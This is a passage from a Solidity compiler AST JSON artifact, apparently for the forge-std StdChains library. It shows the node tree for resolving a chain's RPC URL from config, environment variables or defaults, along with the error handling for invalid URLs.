hain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":3082,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"6600:6:2","memberName":"rpcUrl","nodeType":"MemberAccess","referencedDeclaration":2734,"src":"6594:12:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":3080,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6588:5:2","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes_storage_ptr_$","typeString":"type(bytes storage pointer)"},"typeName":{"id":3079,"name":"bytes","nodeType":"ElementaryTypeName","src":"6588:5:2","typeDescriptions":{}}},"id":3083,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6588:19:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":3084,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6608:6:2","memberName":"length","nodeType":"MemberAccess","src":"6588:26:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":3085,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6618:1:2","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"6588:31:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":3207,"nodeType":"IfStatement","src":"6584:1542:2","trueBody":{"id":3206,"nodeType":"Block","src":"6621:1505:2","statements":[{"clauses":[{"block":{"id":3100,"nodeType":"Block","src":"6698:60:2","statements":[{"expression":{"id":3098,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":3094,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3073,"src":"6716:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":3096,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"6722:6:2","memberName":"rpcUrl","nodeType":"MemberAccess","referencedDeclaration":2734,"src":"6716:12:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":3097,"name":"configRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3092,"src":"6731:12:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"6716:27:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":3099,"nodeType":"ExpressionStatement","src":"6716:27:2"}]},"errorName":"","id":3101,"nodeType":"TryCatchClause","parameters":{"id":3093,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3092,"mutability":"mutable","name":"configRpcUrl","nameLocation":"6684:12:2","nodeType":"VariableDeclaration","scope":3101,"src":"6670:26:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":3091,"name":"string","nodeType":"ElementaryTypeName","src":"6670:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6669:28:2"},"src":"6661:97:2"},{"block":{"id":3203,"nodeType":"Block","src":"6784:1332:2","statements":[{"assignments":[3106],"declarations":[{"constant":false,"id":3106,"mutability":"mutable","name":"envName","nameLocation":"6816:7:2","nodeType":"VariableDeclaration","scope":3203,"src":"6802:21:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":3105,"name":"string","nodeType":"ElementaryTypeName","src":"6802:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":3117,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"id":3112,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3070,"src":"6859:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":3111,"name":"_toUpper","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3068,"src":"6850:8:2","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":3113,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6850:20:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"5f5250435f55524c","id":3114,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6872:10:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_2186fe596dea1a615b7a1cb43899fd18c5b434aa29c8de36d4b8fcc67e3d6ad9","typeString":"literal_string \"_RPC_URL\""},"value":"_RPC_URL"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_2186fe596dea1a615b7a1cb43899fd18c5b434aa29c8de36d4b8fcc67e3d6ad9","typeString":"literal_string \"_RPC_URL\""}],"expression":{"id":3109,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6833:3:2","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3110,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6837:12:2","memberName":"encodePacked","nodeType":"MemberAccess","src":"6833:16:2","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":3115,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6833:50:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":3108,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6826:6:2","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":3107,"name":"string","nodeType":"ElementaryTypeName","src":"6826:6:2","typeDescriptions":{}}},"id":3116,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6826:58:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"6802:82:2"},{"condition":{"id":3118,"name":"fallbackToDefaultRpcUrls","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2751,"src":"6906:24:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":3141,"nodeType":"Block","src":"7039:77:2","statements":[{"expression":{"id":3139,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":3132,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3073,"src":"7061:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":3134,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"7067:6:2","memberName":"rpcUrl","nodeType":"MemberAccess","referencedDeclaration":2734,"src":"7061:12:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":3137,"name":"envName","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3106,"src":"7089:7:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":3135,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2717,"src":"7076:2:2","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":3136,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7079:9:2","memberName":"envString","nodeType":"MemberAccess","referencedDeclaration":12456,"src":"7076:12:2","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":3138,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7076:21:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"7061:36:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":3140,"nodeType":"ExpressionStatement","src":"7061:36:2"}]},"id":3142,"nodeType":"IfStatement","src":"6902:214:2","trueBody":{"id":3131,"nodeType":"Block","src":"6932:101:2","statements":[{"expression":{"id":3129,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":3119,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3073,"src":"6954:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":3121,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"6960:6:2","memberName":"rpcUrl","nodeType":"MemberAccess","referencedDeclaration":2734,"src":"6954:12:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":3124,"name":"envName","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3106,"src":"6978:7:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"baseExpression":{"id":3125,"name":"defaultRpcUrls","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2744,"src":"6987:14:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_string_memory_ptr_$_t_string_storage_$","typeString":"mapping(string memory => string storage ref)"}},"id":3127,"indexExpression":{"id":3126,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3070,"src":"7002:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"6987:26:2","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}],"expression":{"id":3122,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2717,"src":"6969:2:2","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":3123,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6972:5:2","memberName":"envOr","nodeType":"MemberAccess","referencedDeclaration":12396,"src":"6969:8:2","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) view external returns (string memory)"}},"id":3128,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6969:45:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"6954:60:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"id":3130,"nodeType":"ExpressionStatement","src":"6954:60:2"}]}},{"assignments":[3144],"declarations":[{"constant":false,"id":3144,"mutability":"mutable","name":"oldNotFoundError","nameLocation":"7331:16:2","nodeType":"VariableDeclaration","scope":3203,"src":"7318:29:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":3143,"name":"bytes","nodeType":"ElementaryTypeName","src":"7318:5:2","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":3157,"initialValue":{"arguments":[{"hexValue":"4368656174436f64654572726f72","id":3147,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7394:16:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_0bc445031644df03923eb2ab981d332f4354ceab11a95efce72a938e57beaadf","typeString":"literal_string \"CheatCodeError\""},"value":"CheatCodeError"},{"arguments":[{"arguments":[{"hexValue":"696e76616c6964207270632075726c20","id":3152,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7436:18:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_2baf3da7b122675739218e635e969f0d1b560b915d35635239551f70fe123eed","typeString":"literal_string \"invalid rpc url \""},"value":"invalid rpc url "},{"id":3153,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3070,"src":"7456:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2baf3da7b122675739218e635e969f0d1b560b915d35635239551f70fe123eed","typeString":"literal_string \"invalid rpc url \""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":3150,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7419:3:2","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3151,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7423:12:2","memberName":"encodePacked","nodeType":"MemberAccess","src":"7419:16:2","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":3154,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7419:48:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":3149,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7412:6:2","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":3148,"name":"string","nodeType":"ElementaryTypeName","src":"7412:6:2","typeDescriptions":{}}},"id":3155,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7412:56:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0bc445031644df03923eb2ab981d332f4354ceab11a95efce72a938e57beaadf","typeString":"literal_string \"CheatCodeError\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":3145,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7370:3:2","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3146,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7374:19:2","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7370:23:2","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":3156,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7370:99:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"7318:151:2"},{"assignments":[3159],"declarations":[{"constant":false,"id":3159,"mutability":"mutable","name":"newNotFoundError","nameLocation":"7500:16:2","nodeType":"VariableDeclaration","scope":3203,"src":"7487:29:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":3158,"name":"bytes","nodeType":"ElementaryTypeName","src":"7487:5:2","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":3172,"initialValue":{"arguments":[{"hexValue":"4368656174636f64654572726f7228737472696e6729","id":3162,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7564:24:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_eeaa9e6f35c22929478456dd64e8453f06b33521fed71b747719abfbccbe6492","typeString":"literal_string \"CheatcodeError(string)\""},"value":"CheatcodeError(string)"},{"arguments":[{"arguments":[{"hexValue":"696e76616c6964207270632075726c3a20","id":3167,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7614:19:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_4888507059bbf849006832c209cb94797be8c857a4984252b438e37098512c6a","typeString":"literal_string \"invalid rpc url: \""},"value":"invalid rpc url: "},{"id":3168,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3070,"src":"7635:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4888507059bbf849006832c209cb94797be8c857a4984252b438e37098512c6a","typeString":"literal_string \"invalid rpc url: \""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":3165,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7597:3:2","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3166,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7601:12:2","memberName":"encodePacked","nodeType":"MemberAccess","src":"7597:16:2","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":3169,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7597:49:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":3164,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7590:6:2","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":3163,"name":"string","nodeType":"ElementaryTypeName","src":"7590:6:2","typeDescriptions":{}}},"id":3170,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7590:57:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_eeaa9e6f35c22929478456dd64e8453f06b33521fed71b747719abfbccbe6492","typeString":"literal_string \"CheatcodeError(string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":3160,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7519:3:2","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3161,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7523:19:2","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7519:23:2","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":3171,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7519:146:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"7487:178:2"},{"assignments":[3174],"declarations":[{"constant":false,"id":3174,"mutability":"mutable","name":"errHash","nameLocation":"7691:7:2","nodeType":"VariableDeclaration","scope":3203,"src":"7683:15:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3173,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7683:7:2","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":3178,"initialValue":{"arguments":[{"id":3176,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3103,"src":"7711:3:2","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":3175,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"7701:9:2","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":3177,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7701:14:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"7683:32:2"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":3199,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":3189,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":3183,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3179,"name":"errHash","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3174,"src":"7759:7:2","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"id":3181,"name":"oldNotFoundError","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3144,"src":"7780:16:2","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":3180,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"7770:9:2","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":3182,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7770:27:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"7759:38:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":3188,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3184,"name":"errHash","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3174,"src":"7801:7:2","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"id":3186,"name":"newNotFoundError","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3159,"src":"7822:16:2","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":3185,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"7812:9:2","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":3187,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7812:27:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"7801:38:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"7759:80:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":3190,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"7758:82:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":3198,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"expression":{"id":3193,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3073,"src":"7874:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":3194,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"7880:6:2","memberName":"rpcUrl","nodeType":"MemberAccess","referencedDeclaration":2734,"src":"7874:12:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":3192,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7868:5:2","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes_storage_ptr_$","typeString":"type(bytes storage pointer)"},"typeName":{"id":3191,"name":"bytes","nodeType":"ElementaryTypeName","src":"7868:5:2","typeDescriptions":{}}},"id":3195,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7868:19:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":3196,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7888:6:2","memberName":"length","nodeType":"MemberAccess","src":"7868:26:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":3197,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7898:1:2","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"7868:31:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"7758:141:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":3202,"nodeType":"IfStatement","src":"7733:369:2","trueBody":{"id":3201,"nodeType":"Block","src":"7918:184:2","statements":[{"AST":{"nativeSrc":"8004:80:2","nodeType":"YulBlock","src":"8004:80:2","statements":[{"expression":{"arguments":[{"arguments":[{"kind":"number","nativeSrc":"8041:2:2","nodeType":"YulLiteral","src":"8041:2:2","type":"","value":"32"},{"name":"err","nativeSrc":"8045:3:2","nodeType":"YulIdentifier","src":"8045:3:2"}],"functionName":{"name":"add","nativeSrc":"8037:3:2","nodeType":"YulIdentifier","src":"8037:3:2"},"nativeSrc":"8037:12:2","nodeType":"YulFunctionCall","src":"8037:12:2"},{"arguments":[{"name":"err","nativeSrc":"8057:3:2","nodeType":"YulIdentifier","src":"8057:3:2"}],"functionName":{"name":"mload","nativeSrc":"8051:5:2","nodeType":"YulIdentifier","src":"8051:5:2"},"nativeSrc":"8051:10:2","nodeType":"YulFunctionCall","src":"8051:10:2"}],"functionName":{"name":"revert","nativeSrc":"8030:6:2","nodeType":"YulIdentifier","src":"8030:6